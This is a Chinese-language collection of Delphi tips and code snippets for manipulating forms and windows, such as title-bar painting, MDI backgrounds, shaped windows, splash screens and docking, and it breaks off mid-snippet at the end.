以精确的坐标在窗体上显示另一个窗体

比如想显示一个窗体正好同TButton的左下角对齐。

procedure TForm1.Button1Click(Sender: TObject);

var

formTop,formLeft: Integer;

Ctrl: TControl;

DisplayForm: TForm;

begin

formTop := Top;

formLeft := Left;

try

DisplayForm := TForm.Create( Self );

ctrl := Button1;

repeat

formTop := formTop + ctrl.Top;

formLeft := formLeft + ctrl.Left;

ctrl := ctrl.Parent;

until ( ctrl is TForm );

DisplayForm.Left := formLeft + 2 * GetSystemMetrics( SM_CXBORDER );

DisplayForm.Top := formTop + 2 * GetSystemMetrics( SM_CYBORDER ) +

Button1.Height + GetSystemMetrics( SM_CYCAPTION );

DisplayForm.ShowModal;

finally

DisplayForm.Free;

end;

end;


最小化全部窗口

procedure TForm1.Button1Click(Sender: TObject);
var
h:HWnd;
begin
h:=handle;
while h > 0 do
begin
if isWindowVisible(h) then
postmessage(h,WM_SYSCOMMAND,SC_MINIMIZE,0);
h:=getnextwindow(h,GW_HWNDNEXT);
end;
end;


去掉窗体的滚动条

重载TCustomForm.CreateWnd
procedure TCustomForm.CreateWnd;
将
FClientHandle := Windows.CreateWindowEx(WS_EX_CLIENTEDGE, 'MDICLIENT',
nil, WS_CHILD or WS_VISIBLE or WS_GROUP or WS_TABSTOP or
WS_CLIPCHILDREN or WS_HSCROLL or WS_VSCROLL or WS_CLIPSIBLINGS or
MDIS_ALLCHILDSTYLES, 0, 0, ClientWidth, ClientHeight, Handle, 0,
HInstance, @ClientCreateStruct);

改为就搞定：

FClientHandle := Windows.CreateWindowEx(WS_EX_CLIENTEDGE, 'MDICLIENT',
nil, WS_CHILD or WS_VISIBLE or WS_GROUP or WS_TABSTOP or
WS_CLIPCHILDREN or WS_CLIPSIBLINGS or
MDIS_ALLCHILDSTYLES, 0, 0, ClientWidth, ClientHeight, Handle, 0,
HInstance, @ClientCreateStruct);


改变标题栏字体

procedure WMNCPAint(var Mes : TWMNCPaint); message WM_NCPAINT;

procedure TForm1.WMNCPAint(var Mes : TWMNCPaint);
var
ACanvas : TCanvas;
begin
ACanvas := TCanvas.Create;
try
ACanvas.Handle := GetWindowDC(Form1.Handle);
with ACanvas do begin
Brush.Color := clActiveCaption;
Font.Name := 'Times New Roman';
Font.Size := 10;
Font.Color := clCaptionText;
Font.Style := [fsItalic, fsBold];
TextOut(GetSystemMetrics(SM_CYMENU) + GetSystemMetrics(SM_CXBORDER),
Round((GetSystemMetrics(SM_CYCAPTION) - Abs(Font.Height))/2) +1,
' Your title here!');
end;
finally
ReleaseDC(Form1.Handle, ACanvas.Handle);
ACanvas.Free;
end;
end;


使子窗体被选择时主窗体不被选择

...
private {This goes in the for's type declaration.}

{ Private declarations }
procedure CreateParams(VAR Params: TCreateParams); override;
...

procedure TForm2.CreateParams(VAR Params: TCreateParams);
begin
Inherited CreateParams(Params);
Params.WndParent := GetDesktopWindow;
end;


窗体生成时的事件次序

问题:我做了一个 MDI FORM，当MDI Form出现以後，如果判断出某些资料未设定，
要再出现一个Form2.ShowModal设定资料的对话盒，应该写在那儿呢？我试过的
OnActivate ，OnShow ，但MDI Form皆未出现就去执行这部份程式，就出现错误了。

要解决这个问题, 首先要了解从 Form 产生的""个过程中, 各事件发生与执行的次序

如果是一般的 SDI Form, 各事件的发生次序如下:

OnCreate
OnShow
在萤幕上看到这个视窗
OnActivate
OnPaint

如果是 MDI 视窗, 而 MdiChild 的第一个子视窗是在程式启动时, 就出现在MdiForm

中的话,
那麽,各事件的次序是

主视窗的 OnCreate
子视窗的 OnCreate
子视窗的 OnShow
子视窗的 OnActivate
主视窗的 OnShow
在萤幕上看到主视窗及第一个子视窗
主视窗的 OnPaint

ok, 您发现了吗? OnShow 是在视窗被看到之前的事, 而 OnActivate 并没有发生,
因此,
您的问题中所采用的 '我试过的 OnActivate ，OnShow ....',
当然不能在视窗於'被看到後'才出现设定资料的对话盒

因此, 以您的状况, 检查与设定的程式可以写在主视窗的 OnPaint 中, 不过,
OnPaint
是一个常发生的事件,所以应该要在主视窗的类别定义中额外加上一个 private 的逻

辑
成员资料变数,以控制不要每次视窗重画时都检查设定.

另外, 有一个方法您可以参考看看:

1. 利 Options | Project , 将子视窗从 Auto-Create forms 移到 Available
forms,
不要让 Delphi在程式启动时就产生 MdiChild 子视窗

2. 此时, 虽然是 MDI 架构, 但是 MDI 主视窗产生时的各事件次序与一般视窗相同,
您的检查与呼叫设定视窗的程式可以写在 OnActivate 中

3. 各子视窗的产生, 以Application.CreateForm 方法,写在您的应用程式主选单的
File | New Click 事件中,以手动的方式让子视窗出现在主视窗中

最後, 视窗内部的资料起始与设定, 我一般是写在 Form 的OnCreate 事件中.

Form有AutoCreate与Available两种设定

Delphi 一个Form 中有一 Edit and Button 按此 Button 会 show 出新 From 而此新form 中的 Edit 内容要与原Form 相同, 我试不出来说两个 Form 都 uses 对方

UNIT1
uses unit2;
procedure button1_click()
begin
form2.show;
end;

UNIT2
uses unit1;
procedure form2_onCreate()
begin
edit1.text:=Form1.edit1.text;
end;

执行结果没效 ??

Form 产生後、使用者使用前先设定 form上元件的值是写在 Form 的 OnCreate Event吧？ 又如果原 Form是一个 MDIChild 的话, 是否会有差别？

两个 unit 均在 interface 互相 uses 对方是不可以的,一定要互相参考的话, 您可以在 unitA 的 interfaceuses unitB, 然後在 unitB 的 implementation 中 uses unitA你写的程式还是曾经执行过, 只是早在程式启动的时候, Delphi就已经自动为您 Create 这个Form 了,关於这点你可以点一下主选单 View | Project Source, 看一下 project1.dpr 的内容, 在 Application.Run 前,是不是已经 Create 过 Form2 了呢?

建""您可以先从主选单 Option | Project, 将 Form2 从Auto-create forms 移到 Available forms, 然後在 Button1的OnClick 事件中加入以下程式段:

Application.CreateForm(TForm2, Form2);
Form2.Show;

相信你在 Form2 Create 事件中写的程式码就会如你的预期了。

或者, 您可以用下列的方法试试看:

unit Unit1;
interface
uses
...., Unit2;
.
.
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
Form2.Edit1.Text := Form1.Edit1.Text;
Form2.Show;
end;
end.


窗体的属性

TForm 就只有一种, 您专案中自订的各种 form 中都是从这个类别继承下来的, 再透
过各种属性的设定,
可以衍生出各式各样的 form 出来

至於要让 Form 出现的方法, 有 Show 与 ShowModal两种选择,
以後者作用出来的视窗是一个'排父性'的视窗, 换句话说, 当这个视窗出现时,
应用程式中暂时只有这个视窗有作用

您可以试试对主视窗以外的 Form 各以 Show 与ShowModal 两种方法作让它作用出来
,
相信可以明白两者的差异

将 Form 作极大极小的处理, 只要将那个 Form的 WindowState 属性设为以下的值即
可:

wsMaximized: 极大化
wsMinimized: 极小化
wsNormal: 还原

例:

procedure TForm1.Button1Click(Sender: TObject);
begin
WindowState := wsMaximized;
end;

视窗标题在 Windows 3.1 是预设为调中, 95 中是靠左, 这部分我没有研究过, 但是
,
依照绝大部分视窗的惯例应该是比较好的方式, 不是吗?


关闭窗口前加入确认对话框

 在Form的OnCloseQuery 事件里加入以下代码：
if Application.MessageBox('Close it now?','Ask',MB_YESNO )=IDYES then
CanClose:=True
else
CanClose:=False;


窗口停靠技术

    Delphi引入了一些新特征。Docking 就是其中的一项，有人将Docking译为对接、入坞、结合等，也可以译为“窗口融合技术”。那么什么是窗口融合技术呢？窗口融合是一项先进的界面设计技术，体现了当今的发展趋势。Word97的浮动工具栏就是一种窗口融合技术，有时也称为Word97风格的浮动工具栏。下面针对目前比较流行的窗口与窗口的融合例程来进行：
    经过笔者一段时间的使用，发现Panel控件最适合作两个窗口融合的工具。由于这是最一般的情况，所以这里举一个具有代表性的例子详细说明。我们要达到的要求是：程序运行后，出现主窗口，按一个按钮，出现另一个窗口，拖动此窗口，与主窗口融合在一起，融合后主窗口的Caption变成两个窗口的Caption相加。在主窗口form1中放置两个Panel控件(panel1和panel2)，一个Button控件(button1)；另一个窗口form2为空白窗口。具体属性设置如下：

    panel1：
    align：alleft；
    docksite：true；
    usedockmanager：true；
    panel2：
    align：albottom；
    docksite：true；
    usemanager：true；
    form2：
    anchors：[aktop，akbottom，akleft，akright]；
    dragmode：dmautomatic；
    dragkind：dkdock；
    设置button1的onclick事件，对应的代码如下：
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    form2.Show;
    a:=form1.caption;
    b:=form2.caption;
    end;
    设置panel1和panel2的onundock事件，代码如下：
    procedure TForm1.Panel1UnDock(Sender: TObject; Client: TControl; NewTarget: TWinControl; var Allow: Boolean);

    begin
    form1.caption:=a;
    form1.Refresh;
    end;
    设置panel1和panel2的ondockdrop事件，代码如下：
    procedure TForm1.Panel1DockDrop(Sender:TObject; Source: TDragDockObject; X, Y: Integer);
    begin
    form1.Caption:=a＋′,′＋b;
    form1.Refresh；
    end;
    其中a，b为String型变量，用以保存窗口的最初标题，在form1的接口处声明。


窗体在运行时隐藏

 在工程文件中Application.Run语句之前加入下面语句,可不让主Form在运行时显示:
Application.ShowMainForm := False;


当程序启动时显示徽标画面

    Delphi在启动时会首先显示一个图片，等到将所有的初始化工作全做完后该图片自动消失。为达到这一效果，建立一个示例程序。
    建立一个新Application，包括两个Form，其中Form1为主窗口，Form2为要显示的图片Form，不妨将Form2的边框类型设为无，同时在Form2中加入一个TImage类的构件Image1，Align属性为Client，AutoSize设为True，然后为Image1指定任意一个图片。
    选Project1/Options菜单，点取Application页，将Form2从左边列表框中移到右边列表框，这样Project1.dpr源程序就不会生成建立Form2的代码。下一步是手工修改Project1.DPR源代码，因为Form2应该在Form1之前建立并显示，但不能使用Application的CreateForm方法（第一个用此方法建立的Form被认为是主Form），具体的代码如下，当运行至Application.CreateForm(...)一行时Form2已经建立并显示出来，然后该行建立主Form并激发主Form的OnCreate事件，你可以在OnCreate事件处理过程中完成你的初始化工作。

Project1.dpr program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin
Application.Initialize; {程序初始化}
Form2 :=
TForm2.Create(Application); {建立徽标Form}
Form2.Show;
{显示徽标Form}
Form2.Update; {重画徽标Form，确保其中的图片被显示出来}
Application.CreateForm(TForm1, Form1); {建立主Form}
Form2.Hide;
{隐藏徽标Form，使主Form显示出来}
Form2.Free; {释放徽标Form占用的资源}
Application.Run; {程序运行}
end.

    在主Form的OnCreate事件处理过程中我们用一些延时代码来模拟耗时的初始化工作，这样可以更清楚地看到Form2显示并停留数秒，直到主Form的OnCreate事件处理过程执行完毕后自动消失。

Unit1.pas unit unit1;

interface

uses
Windows, Messages, SysUtils,
Classes, Graphics, Controls,
Forms, ExtCtrls;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
public
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

{ OnCreate事件处理过程，延时五秒 }
procedure TForm1.FormCreate(Sender: TObject);
var
CurrTime: TSystemTime;
Sec: Word;
begin
GetSystemTime(CurrTime);
Sec := CurrTime.wSecond + 5;
while Sec>CurrTime.wSecond do
GetSystemTime(CurrTime);
end;

end.

    执行这个程序，会看到令人满意的效果：启动画面成功地显示出来，而且当鼠标移至画面上时会自动变成沙漏形状，五秒钟后画面消失，主窗口出现。


如何在标题栏上增加按钮

-- 大家在使用某些软件的过程中，有没有注意到有些软件有一些很有趣的东西。比如说在主窗口的标题栏上居然有一个按钮。在Internet中随处可见这样的小控件。按钮怎么可以加入到非客户区(Client)呢？

---- 在这里，最关键的一点就是，大家不要被传统知识误导：真的认为它是一个按钮。有名柄（handle)的控件当然不能放在标题栏上了。有经验的程序员用Spy++跟踪一下的话，马上就会发现其中的秘密。它并不是一个按钮，只不过是处理成按钮的样子罢了。

---- 既然知道了所以然，那么我们为什么不能自己来做一个呢，当然没问题，下面我们就用Delphi来实现它，讲注意我的注解。

---- 在具体实例之前，我们应该知道几个关于标题栏的重要的消息：

---- WM_NCPAINT：重画标题栏消息。我们必须截住它，可以在这里重画按钮；

---- WM_NCLBUTTONDOWN：在标题栏上按下鼠标左键消息。我们可以截住它，在标题栏上画出按钮按下的样子，并且可以在其中进行自已的单击事件的处理，使得它像一个按钮；

---- WM_NCLBUTTONUP：在标题栏上释放鼠标左键消息。我们可以截住它，在标题栏上画出按钮弹起的样子；

---- WM_NCLBUTTONDBLCLK：在标题栏上双击鼠标左键消息。我们可以截住它，当在按钮区域双击时，我们就该使其无效，从而避免窗体执行最大化和还原操作。

---- WM_NCRBUTTONDOWN：在标题栏上按下鼠标右键消息。我们可以截住它，当在按钮区域双击时，我们就该使其无效，从而避免弹出窗体按制菜单。

---- WM_NCMOUSEMOVE：在标题栏上移动鼠标消息。我们可以截住它，当鼠标移出按钮区域时，我们就必须画出按钮没有被按下，即凸起时的样子。

---- WM_NCACTIVATE：当标题栏在激活与非激活之间切换时收到该消息。我们可以截住它，当该窗口处理激活状态时，我们可以做一些事情，比如说将我们的标题栏按钮上的字体变灰或变黑来指示该窗口的当前状态。下面我没有加入该项功能，如果大家感兴趣的话，可以自己完成。

---- (大家从这里可以发现，标题栏的消息都是WM_NC开头的)
////////////////////////////////////////////////////////////////////////////////
unit Capbtn;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Buttons;

type
TTitleBtnForm = class(TForm)
procedure
FormResize(Sender: TObject);
private
TitleButton :
TRect;
procedure DrawTitleButton;
{Paint-related
messages}
procedure WMSetText(var Msg : TWMSetText); message
WM_SETTEXT;
procedure WMNCPaint(var Msg : TWMNCPaint); message
WM_NCPAINT;
procedure WMNCActivate(var Msg : TWMNCActivate);
message WM_NCACTIVATE;
{Mouse down-related
messages}
procedure WMNCHitTest(var Msg : TWMNCHitTest); message
WM_NCHITTEST;
procedure WMNCLButtonDown(var Msg :
TWMNCLButtonDown); message

WM_NCLBUTTONDOWN;
function GetVerInfo : DWORD;
end;

var
TitleBtnForm: TTitleBtnForm;

const
htTitleBtn = htSizeLast + 1;

implementation
{$R *.DFM}

procedure TTitleBtnForm.DrawTitleButton;
var
bmap : TBitmap; {Bitmap to be drawn - 16 X 16 : 16 Colors}
XFrame, {X and Y size of Sizeable area of Frame}
YFrame,
XTtlBit, {X and Y size of Bitmaps in caption}
YTtlBit : Integer;
begin
{Get size of form frame and bitmaps in title bar}
XFrame := GetSystemMetrics(SM_CXFRAME);
YFrame := GetSystemMetrics(SM_CYFRAME);
XTtlBit := GetSystemMetrics(SM_CXSIZE);
YTtlBit := GetSystemMetrics(SM_CYSIZE);

{$IFNDEF WIN32}
TitleButton := Bounds(Width - (3 * XTtlBit) - ((XTtlBit div 2) - 2),
YFrame - 1,
XTtlBit + 2,
YTtlBit + 2);

{$ELSE} {Delphi 2.0 positioning}
if (GetVerInfo = VER_PLATFORM_WIN32_NT) then
TitleButton := Bounds(Width - (3 * XTtlBit) - ((XTtlBit div 2) - 2),
YFrame - 1,
XTtlBit + 2,
YTtlBit + 2)
else
TitleButton := Bounds(Width - XFrame - 4*XTtlBit + 2,
XFrame + 2,
XTtlBit + 2,
YTtlBit + 2);
{$ENDIF}

Canvas.Handle := GetWindowDC(Self.Handle); {Get Device context for drawing}
try
{Draw a button face on the TRect}
DrawButtonFace(Canvas, TitleButton, 1, bsAutoDetect, False, False, False);
bmap := TBitmap.Create;
bmap.LoadFromFile('help.bmp');
with TitleButton do
{$IFNDEF WIN32}
Canvas.Draw(Left + 2, Top + 2, bmap);
{$ELSE}
if (GetVerInfo = VER_PLATFORM_WIN32_NT) then
Canvas.Draw(Left + 2, Top + 2, bmap)
else
Canvas.StretchDraw(TitleButton, bmap);
{$ENDIF}

 finally
ReleaseDC(Self.Handle,
Canvas.Handle);
bmap.Free;
Canvas.Handle :=
0;
end;
end;

{Paint triggering events}
procedure TTitleBtnForm.WMNCActivate(var Msg :
TWMNCActivate);
begin
Inherited;
DrawTitleButton;
end;

procedure TTitleBtnForm.FormResize(Sender: TObject);
begin
Perform(WM_NCACTIVATE, Word(Active), 0);
end;

{Painting events}
procedure TTitleBtnForm.WMNCPaint(var Msg :
TWMNCPaint);
begin
Inherited;
DrawTitleButton;
end;

procedure TTitleBtnForm.WMSetText(var Msg :
TWMSetText);
begin
Inherited;
DrawTitleButton;
end;

{Mouse-related procedures}
procedure TTitleBtnForm.WMNCHitTest(var Msg : TWMNCHitTest);
begin
Inherited;
{Check to see if the mouse was clicked in the area of the button}
with Msg do
if PtInRect(TitleButton, Point(XPos - Left, YPos - Top)) then
Result := htTitleBtn;
end;

procedure TTitleBtnForm.WMNCLButtonDown(var Msg : TWMNCLButtonDown);
begin
inherited;
if (Msg.HitTest = htTitleBtn) then
ShowMessage('You pressed the new button');
end;

function TTitleBtnForm.GetVerInfo : DWORD;
var
verInfo : TOSVERSIONINFO;
begin
verInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(verInfo) then
Result := verInfo.dwPlatformID;
{Returns:
VER_PLATFORM_WIN32s Win32s on Windows 3.1
VER_PLATFORM_WIN32_WINDOWS Win32 on Windows 95
VER_PLATFORM_WIN32_NT Windows NT }
end;

end.


在窗体的边框上作图

type
TForm1 = class(TForm)
private
{ Private declarations }
procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPAINT;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
dc :
hDc;
Pen : hPen;
OldPen : hPen;
OldBrush :
hBrush;
begin
inherited;
dc :=
GetWindowDC(Handle);
msg.Result := 1;
Pen :=
CreatePen(PS_SOLID, 1, RGB(255, 0, 0));
OldPen := SelectObject(dc,
Pen);
OldBrush := SelectObject(dc,
GetStockObject(NULL_BRUSH));
Rectangle(dc, 0,0, Form1.Width,
Form1.Height);
SelectObject(dc, OldBrush);
SelectObject(dc,
OldPen);
DeleteObject(Pen);
ReleaseDC(Handle,
Canvas.Handle);
end;


控制其他窗口的大小

 var
hw: HWND;
wp: TWindowPlacement;
begin
hw := FindWindow('Notepad', nil);
if hw <> 0 then
GetWindowPlacement(Handle, @wp);
SetWindowPlacement(hw, @wp);
end;


创建任意形状窗口

procedure TForm1.FormClick(Sender: TObject);
var
R : HRgn;
begin
if IsRound then
begin
SetWindowRgn(Handle,0,True);
DeleteObject(R);
IsRound := False;
end
else
begin
R := CreateEllipticRgn(-15,-15,Width+15,Height+15);

SetWindowRgn(Handle,R,True);
IsRound := True;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
IsRound := False;
end;

end.
////////////////////////////////////////////
四四方方的窗体也会变形，利用win32 API函数setwindowrgn就可以将窗口定义为任何形状，以下是将窗口定义为园角矩形的例子：
procedure TPortForm.FormCreate(Sender: Tobject);
var hr :thandle;
begin
hr:=createroundrectrgn(0,0,width,height,20,20);//定义园角矩形(win API函数)
setwindowrgn(handle,hr,true); //设置园角窗口
end;
为了使该窗口更好，应在onResize事件处理程序放相同的代码。
/////////////////////////////////////
用汉字做窗体形状
procedure TForm1.FormCreate(Sender: TObject);
var
rgn:HRGN;
begin
BeginPath(Canvas.Handle);
SetBkMode( Canvas.Handle, TRANSPARENT );
Canvas.Font.Name:= '宋体';
Canvas.Font.Size:=100;
Canvas.TextOut( 20, 20, '漂亮吗?');//用"漂亮吗?"作为form的形状
EndPath(Canvas.Handle);
rgn:= PathToRegion(Canvas.Handle);
SetWindowRgn( Handle, rgn, true );
end;


解决设置窗体fsStayOnTop引起的闪烁

 {
这里改用了API函数：SetWindowPos，使用窗体的句柄作为它的参数之一。
MainForm就是窗体名。
}
procedure TMainForm.SetupStayOnTopItemClick(Sender: TObject);
begin
With SetupStayOnTopItem do
begin
Checked := Not Checked;
If Checked then
SetWindowPos( MainForm.Handle,Hwnd_Topmost,0,0,0,0,
(SWP_NOMOVE Or SWP_NOSIZE))
else
SetWindowPos( MainForm.Handle,Hwnd_Notopmost,0,0,0,0,
(SWP_NOMOVE Or SWP_NOSIZE));
end;
end;


闪动标题栏
摘要
在你的应用程序中，你可能会希望将应用程序的标题栏进行闪动，以提醒用户进行某种操作，本文介绍了如何使一个窗口的标题栏进行闪动。

闪动标题栏

闪动一个窗口的标题栏意味着改变它的标题栏的外观，例如它从活动变为不活动，或是从不活动变为活动等等。只要你能在Delphi 或者 C++ Builder 中得到窗口的句柄，你就可以使用Windows 应用程序编程接口（API）函数来使该窗口的标题栏进行闪动。函数FlashWindows可以被用使一个特定的窗口闪动一次。

函数原形:

function FlashWindow(const hwnd:Integer;const bInvert:LongBool):LongBool;

该函数需要2个参数，第一个参数是要闪动标题栏的窗口的句柄，第二个参数用于指定是设置窗口的闪动状态，还是恢复其原始状态。如果该bInvert参数为True，则表明窗口的标题栏被闪动，如果该参数为False，则表明窗口的标题栏被恢复为原始状态。

该函数所返回的值用于指定调用该函数前窗口的状态，如果该返回值True，则表明窗口在调用该函数之前是活动的，否则，如果返回值为False,则表明调用函数前窗口是非活动的。

当使用该FlashWindow函数时，一个较好的方法是将标题栏闪动的频率设置为同脱字符（也即闪动的光标）相同，脱字符的闪动频率可以通过调用函数GetCaretBlinkTime来获得。要使用该函数，需要将如下的声明语句包含在你的窗体的通用声明部分中：

  function GetCaretBlinkTime:Integer;
该函数返回用毫秒值表示的时间。

例程:
建立新的Project,并新建一From(包括New Project建立的Form,共两个),在Form1中加入一Button和Timer,按下面的方法建立程序.
procedure TForm1.Button1Click(Sender: TObject);
begin
Form2.Show;
Form1.BringToFront;
Timer1.Interval:=GetCaretBlinkTime;
Timer1.Enabled:=Not Timer1.Enabled;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
FlashWindow(Form2.Handle,TRUE);
end;


给MDI主窗口加背景

在MDI程序中,由于MDI的主窗口一般的功能是提供子窗口显示的位置和提供菜单、工具条、状态条等，而窗口的客户区则一般不会有其它的用途，如果在这里画上一些软件的标志、公司的标志或者其它的背景图案的话，不仅可以使MDI的主窗口更加充实、美观，而且还可以更加突出公司的形象和增加公司标志在客户心中的地位。

由于MDI主窗口的特性，使用普通OnPaint和使用TImage等方法都不会产生作用。下面将用编写一个简单的MDI程序来介绍如何实现。

第一步：打开Delphi(Delphi 1,2,3都可以)，创建一个新的工程。

第二步：将Form1的FormStyle设置为fsMDIForm，设置成MDI的主窗口。
第三步：在Form1上增加一个Image元件，并选择要设置的背景到Image的Picture中。
第四步：在Form1的Private中定义：
FClientInstance,
FPrevClientProc : TFarProc;
PROCEDURE ClientWndProc(VAR Message: TMessage);
第五步：在实现(implementation)中加入上述过程的具体内容：
PROCEDURE TForm1.ClientWndProc(VAR Message: TMessage);
VAR
MyDC : hDC;
Ro, Co : Word;
begin

with Message do
case Msg of
WM_ERASEBKGND:
begin
MyDC := TWMEraseBkGnd(Message).DC;
FOR Ro := 0 TO ClientHeight DIV Image1.Picture.Height DO
FOR Co := 0 TO ClientWIDTH DIV Image1.Picture.Width DO
BitBlt(MyDC, Co*Image1.Picture.Width, Ro*Image1.Picture.Height,
Image1.Picture.Width, Image1.Picture.Height,
Image1.Picture.Bitmap.Canvas.Handle, 0, 0, SRCCOPY);
Result := 1;
end;
else

      Result := CallWindowProc(FPrevClientProc,
ClientHandle, Msg, wParam, lParam);
end;
end;

第六步：在Form1的创建事件中加入：
FClientInstance := MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));

上面的步骤已经完成了MDI主窗口背景图案的设置，下面可以增加一个MDIChild窗口，实现MDI程序。

第七步：新增加一个Form，并将FormStyle设置为fsMDIChild。

现在你可以编译运行这个程序，你会发现，Image元件并不会在Form上显示出来，但是整个Form的客户区域被Image中的图像所铺满。


截获调整窗体大小、移动窗体完毕的消息

type
TForm1 = class(TForm)
private
{ Private declarations }
public
procedure
WMEXITSIZEMOVE(var Message: TMessage);
message WM_EXITSIZEMOVE;
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
procedure TForm1.WMEXITSIZEMOVE(var Message:
TMessage);
begin
Form1.Caption := 'Finished Moving and
sizing';
end;


查阅可视窗口标题

下面只是举出一个例子提供参考:
运用API函数GetWindow()配合GetWindowText()逐一查出各视窗的标题
1. File | New Project 开始一个新的工程
2. 在 Form1 中安排 Button 与 Memo 各一
3. 在 Button1 的 OnClick 事件中撰写程式如下:
procedure TForm1.Button1Click(Sender: TObject);
var
  hCurrentWindow: HWnd;
  szText: array[0..254] of char;
begin
  hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);
  while hCurrentWindow <> 0 do
  begin
  if GetWindowText(hCurrentWindow, @szText, 255)>0 then
  Memo1.Lines.Add(StrPas(@szText));
  hCurrentWindow:=GetWindow(hCurrentWindow, GW_HWNDNEXT);

  end;
end;


不用标题栏也移动窗体

    一般情况下，移动一个窗体需要将鼠标放置在标题栏上才能拖动窗体，为 什么非要使用标题栏呢？其实我们可以使用一个巧妙的方法来实现将鼠标放置 在窗体上按下就可拖动窗体，下面先看实现代码。在Form1的“Private”部分声明过程：

在private部分加入下列代码：
procedure wmnchittest(var msg:twmnchittest);
message wm_nchittest;
在程序部分加入以下代码：
procedure TForm1.wmnchittest(var msg:twmnchittest);
begin
inherited;
if (htclient=msg.result) then msg.result:=htcaption;
end;
    上面的关键代码虽然只有两行，但它实现了鼠标直接拖动窗体的目的。代码的原理是利用窗体的WM_NCHITTEST消息，这个消息是当光标移动、鼠标按下或释放时发生的，当程序检测到鼠标在窗体中按下的消息后（消息的值为htClient），将鼠标在标题栏上按下时产生的消息（值为htCaption）传递出去，这样就巧妙的欺骗程序认为是标题栏被按下，当然就可拖动窗体了。


响应窗口最大化最小化消息

type
TForm1 = class(TForm)
private
{ Private declarations }
procedure WMSysCommand(var Msg: TWMSysCommand);
message WM_SYSCOMMAND;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMSysCommand;
begin
if (Msg.CmdType = SC_MINIMIZE) or
(Msg.CmdType = SC_MAXIMIZE) then
MessageBeep(0) else
inherited;
end;


限制窗口的大小

使用过DELPHI的朋友都会注意到DELPHI本身最上面的窗口，
当它极大时只占屏幕的一小部分，它是如何实现的呢，请看下面的说明：
1)在FORM私有声明部分加上如下一行：
procedure WMGetMinMaxInfo( var Message:TWMGetMinMaxInfo ); message WM_GETMINMAXINFO;
2)在声明部分加上如下几行:
procedure TForm1.WMGetMinMaxInfo( var Message :TWMGetMinMaxInfo );
begin
with Message.MinMaxInfo^ do
begin
ptMaxSize.X := 200; {最大化时宽度}
ptMaxSize.Y := 200; {最大化时高度}
ptMaxPosition.X := 99; {最大化时左上角横坐标}

ptMaxPosition.Y := 99; {最大化时左上角纵坐标}
end;
Message.Result := 0;
{告诉Windows你改变了 minmaxinfo}
inherited;
end;
/////////////////////////////////////////////
unit
getminmax;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TForm1 = class(TForm)
private
{ Private declarations }
procedure WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);
message WM_GETMINMAXINFO;
procedure WMInitMenuPopup(var Msg: TWMInitMenuPopup);
message WM_INITMENUPOPUP;
procedure WMNCHitTest(var Msg: TWMNCHitTest);

message WM_NCHitTest;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);
begin
inherited;
with Msg.MinMaxInfo^ do
begin
ptMinTrackSize.x:= form1.width;
ptMaxTrackSize.x:= form1.width;
ptMinTrackSize.y:= form1.height;
ptMaxTrackSize.y:= form1.height;
end;
end;

procedure TForm1.WMInitMenuPopup(var Msg: TWMInitMenuPopup);

begin
inherited;
if Msg.SystemMenu then
EnableMenuItem(Msg.MenuPopup, SC_SIZE, MF_BYCOMMAND or MF_GRAYED)
end;

procedure TForm1.WMNCHitTest(var Msg: TWMNCHitTest);
begin
inherited;
with Msg do
if Result in [HTLEFT, HTRIGHT, HTBOTTOM, HTBOTTOMRIGHT,
HTBOTTOMLEFT, HTTOP, HTTOPRIGHT, HTTOPLEFT] then
Result:= HTNOWHERE
end;
end. { End of Unit}


得到当前鼠标下的窗口

 procedure TForm1.GetAWnd(var Wnd: hWnd; var WClassName: string;
var WndText: string; var WndOwner: hWnd);
var
winPos:TPoint;
begin
GetCursorPos(winpos);
Wnd:=WindowFromPoint(WinPos);
GetClassName(Wnd, pchar(ClassName), 255);
GetWindowText(Wnd, pchar(WndText), 255);
WndOwner:=GetWindow(Wnd,GW_Owner);
end;


移去窗体标题栏

 procedure TForm1.FormCreate(Sender: TObject);
begin
SetWindowLong(Form1.Handle,
GWL_STYLE,
GetWindowLong(Handle,GWL_STYLE) and not WS_CAPTION);
Height := ClientHeight;
end;
///////////////////////////////////////////////////////////
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
inherited createparams(params);
with params do
begin
style:=style and (not ws_caption);
style:=style or ws_popup or ws_thickframe or ws_clipchildren;
end;
end


使窗口无法获得焦点

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, Keyboard;

type
TForm1 = class(TForm)
Keyboard1:
TKeyboard;
procedure Keyboard1Key(Sender: TObject; Char:
Char);
private
{ Private declarations }
procedure WMMouseActivate(var Msg: TWMMouseActivate); message
WM_MOUSEACTIVATE;
procedure WmNCHitTest(var Msg :TWMNCHitTest);
message WM_NCHITTEST;

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMMouseActivate(var Msg: TWMMouseActivate);
begin
Msg.Result := MA_NOACTIVATE;
end;

procedure TForm1.WmNCHitTest(var Msg: TWMNCHitTest);
begin
DefaultHandler(Msg);
if Msg.Result = HTCAPTION then
